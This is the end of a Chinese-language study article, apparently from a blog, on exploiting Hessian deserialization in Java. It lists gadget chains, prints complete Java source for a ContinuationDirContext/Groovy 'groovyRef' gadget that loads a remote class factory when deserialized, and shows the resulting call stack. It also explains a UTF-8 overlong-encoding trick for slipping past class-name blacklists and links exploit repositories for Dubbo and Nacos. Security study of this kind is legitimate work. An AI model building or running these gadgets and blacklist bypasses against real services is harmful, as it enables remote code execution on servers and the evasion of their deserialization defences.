1 2 3 4 5 6 7 8 9 <javax.swing.JCheckBox: void readObject (java.io.ObjectInputStream) > -> <javax.swing.JCheckBox: void updateUI () > -> <javax.swing.AbstractButton: void setUI (javax.swing.plaf.ButtonUI) > -> <javax.swing.JComponent: void setUI (javax.swing.plaf.ComponentUI) > -> <javax.swing.JComponent: void uninstallUIAndProperties () > -> <javax.swing.JComponent: void putClientProperty (java.lang.Object,java.lang.Object) > -> <groovy.lang.GString: java.lang.String toString () > -> <groovy.lang.GString: java.io.Writer writeTo (java.io.Writer) > -> <groovy.lang.Closure: java.lang.Object call () >
这里只允许UIClientPropertyKey的子类触发toString,但是GString不是其子类,应该没法进入这个if才对。
下面这个适用于GString被禁用:
1 2 3 4 5 6 <javax.management.BadAttributeValueExpException: void readObject (java.io.ObjectInputStream) > -> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString () > -> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString (int ) > -> <groovy.lang.ListWithDefault: java.lang.Object get (int ) > -> <groovy.util.ObservableList: java.lang.Object set (int ,java.lang.Object) > -> <groovy.lang.Closure: java.lang.Object call (java.lang.Object) >
ContinuationDirContext链 https://cn-sec.com/archives/2251706.html
POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/GroovyBased.java groovyRef链,适用于 <8u121
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public static Object groovyRef (String factory, String factoryLocation) throws Exception{ Reference reference = new Reference ("Calc" , factory, factoryLocation); CannotProceedException cpe = new CannotProceedException (); cpe.setResolvedObj(reference); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext" ); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); declaredConstructor.setAccessible(true ); Object c1 = declaredConstructor.newInstance(cpe, new Hashtable <>()); MethodClosure methodClosure = new MethodClosure (c1,"listBindings" ); ConvertedClosure convertedClosure = new ConvertedClosure (methodClosure, "compareTo" ); Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class []{Comparable.class}, convertedClosure); Class<?> e = Class.forName("java.util.TreeMap$Entry" ); Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor1.setAccessible(true ); Object a = declaredConstructor1.newInstance("a" , 1 , null ); Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e); declaredConstructor2.setAccessible(true ); Object o1 = declaredConstructor2.newInstance(o, 2 , a); Class<?> t = Class.forName("java.util.TreeMap" ); TreeMap treeMap = (TreeMap) t.newInstance(); Field size = t.getDeclaredField("size" ); size.setAccessible(true ); size.set(treeMap, 2 ); Field modCount = t.getDeclaredField("modCount" ); modCount.setAccessible(true ); modCount.set(treeMap, 2 ); Field root = t.getDeclaredField("root" ); root.setAccessible(true ); root.set(treeMap, a); Field right = e.getDeclaredField("right" ); right.setAccessible(true ); right.set(a, o1); return treeMap; }
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:296 ) at javax.naming.spi.NamingManager.getContext(NamingManager.java:439 ) at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55 ) at javax.naming.spi.ContinuationContext.listBindings(ContinuationContext.java:130 ) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:497 ) at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90 ) at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1207 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1074 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1016 ) at groovy.lang.Closure.call(Closure.java:423 ) at org.codehaus.groovy.runtime.ConvertedClosure.invokeCustom(ConvertedClosure.java:51 ) at org.codehaus.groovy.runtime.ConversionHandler.invoke(ConversionHandler.java:103 ) at com.sun.proxy.$Proxy0.compareTo(Unknown Source:-1 ) at java.util.TreeMap.put(TreeMap.java:568 ) at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114 ) at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571 ) at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100 ) at tools.HessianTools.hessianDeser(HessianTools.java:69 ) at com.test.gadget.GroovyBased.main(GroovyBased.java:31 )
这里重点关注org.codehaus.groovy.runtime.ConvertedClosure:
能够看到,51行处调用了call,getDelegate返回值可控,那么就和上面的groovy链一样了,且这里会传参args。那怎么调用到invokeCustom呢?去分析一下这个类。
其继承自ConversionHandler,最终实现了InvocationHandler,所以它是一个动态代理handler。如果将其作为handler放入动态代理,当调用任何方法时,就会触发其父类,也就是ConversionHandler的invoke方法:
只要调用的方法不是Object.java里的方法,就会调用invokeCustom。现在的问题在于,到哪里去调用这个动态代理的任意方法,并和Hessian反序列化串联起来。
这里的方法是,TreeMap#put调用compare。这里设置root节点为 “a”:1,设置其右孩子为 proxy:2,最后就会调用proxy.compareTo(“a”),从而触发invoke。
UTF8-OverlongEncoding绕过 https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
https://exp10it.io/posts/hessian-utf-8-overlong-encoding/
https://github.com/X1r0z/hessian-overlong-encoding
这个方法适用于绕过基于字符串匹配的黑名单,即通过分析序列化数据中的类名,来进行过滤。
简单说一下原理。
UTF8能够表示所有unicode字符,通过将unicode编码转化成1~4字节的字符来编码。ASCII码里的字符,原本都可以用一个字节进行表示,但可以通过补零的方式,让其转化成用两个字节表示的非法UTF8字符,且这种非法的字符,在Java里是能够被正常识别的,从而实现绕过。
效果如下:
可以看到编码后可读的类名就消失了。
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/CustomObjectOutputStream.java
可以直接替换成这个OutputStream来实现绕过。
java-chains里也提供了相关选项:
hessian相关的其他内容 由于篇幅原因,本文主要介绍hessian利用链相关的知识,但除此之外还有一些其他内容值得学习。
kryo反序列化 这个反序列化底层就是hessian,曾经在一些CTF题目中出现。
https://github.com/1diot9/CTFJavaChallenge/tree/main/2023/CISCN/seacloud
https://github.com/1diot9/CTFJavaChallenge/tree/main/2022/MRCTF/springcoffee
dubbo https://xz.aliyun.com/news/14004
https://goodapple.top/archives/1193
nacos https://xz.aliyun.com/news/13761
https://github.com/h0ny/NacosExploit
HessianServlet中的反序列化 https://xz.aliyun.com/news/17811
后面有时间可能会写文章补充这些内容。
后记 这里主要梳理了一下Hessian序列化与反序列化的流程;介绍了一下CTF中通过黑名单临时修复的方法;以及常见的一些利用链和绕过手法;最后提及了一些暂时没有整理,但是值得一看的其他Hessian知识点。
参考 超详细解析Hessian利用链-先知社区 从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造-先知社区 Hessian Groovy全新链条分析与黑名单绕过-先知社区 hessian反序列化漏洞之Groovy链(代码分析) | CN-SEC 中文网 UTF-8 Overlong Encoding导致的安全问题 | 离别歌 Hessian UTF-8 Overlong Encoding | X1r0z Blog Hessian 反序列化知一二 | 素十八